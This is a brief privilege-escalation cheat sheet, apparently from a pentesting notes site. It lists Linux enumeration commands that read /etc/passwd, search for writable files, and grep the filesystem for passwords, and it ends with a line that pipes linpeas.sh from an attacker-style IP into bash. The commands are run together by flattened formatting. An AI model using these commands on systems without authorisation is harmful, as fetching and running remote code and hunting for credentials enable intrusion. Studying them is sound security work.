Situational Awareness
In this section we will show basic commands to gather enough information about our current situation and how we can use it to escalate privilege.
Current User
whoamiidUsers
cat /etc/passwd cat /etc/passwd | grep sh$Groups
cat /etc/groupSystem Information
uname -acat /etc/issuecat /etc/os-releaseNetwork Information
ipconfigip -br aroute -nss -antopProcesses
ps aux ps auxfpspy64Installed Programs
dpkg -l # For debian based systemsFiles
Search for writable Files
find / -type f -writable -ls 2>/dev/nullSearch for different file extensions
find / -type f -name '*.conf' 2>/dev/nullSearch for specific strings in files
grep -i -R password / 2>/dev/nullLinpeas.sh
curl 10.10.14.161/linpeas.sh | bashLast updated
